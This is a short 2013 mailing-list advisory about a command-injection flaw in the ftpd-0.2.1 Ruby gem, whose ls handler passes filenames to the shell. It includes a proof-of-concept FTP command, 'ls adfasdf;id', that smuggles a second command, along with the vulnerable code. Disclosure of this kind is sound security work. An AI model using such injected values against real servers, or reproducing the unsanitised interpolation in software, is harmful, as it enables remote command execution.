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Remote command execution for Ruby Gem ftpd-0.2.1
From: "Larry W. Cashdollar" <larry0 () me com>
Date: Sun, 03 Mar 2013 05:29:02 +0000 (GMT)

Remote command execution for Ruby Gem ftpd-0.2.1
2/28/2013

https://github.com/wconrad/ftpd
http://rubygems.org/gems/ftpd

"ftpd is a pure Ruby FTP server library. It supports implicit and explicit TLS, passive and active mode, and most of the 
commands specified in RFC 969. It an be used as part of a test fixture or embedded in a program."

The ls interface can have commands injected into it if option or filename contain the shell character ; The example.rb 
server listens to localhost only which I used to test the ftp library.

./ftpd-0.2.1/lib/ftpd/disk_file_system.rb
for this to work the file must exist in the CWD.

ftp> ls adfasdf;id
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root root 0 Mar 2 05:52 adfasdf
uid=0(root) gid=0(root) groups=0(root)
226 Transfer complete
ftp>

204 Ls interface used by List and NameList 205
206 module Ls
207

208       def ls(ftp_path, option)
209         path = expand_ftp_path(ftp_path)
210         dirname = File.dirname(path)
211         filename = File.basename(path)
212         command = [
213           'ls',
214           option,
215           filename,
216           '2>&1',
217         ].compact.join(' ')
218         if File.exists?(dirname)
219           list = Dir.chdir(dirname) do
220             `{command}`

This vulnerability has been fixed by the author in the latest release.
Larry W. Cashdollar
@_larry0
http://otiose.dhs.org/ 
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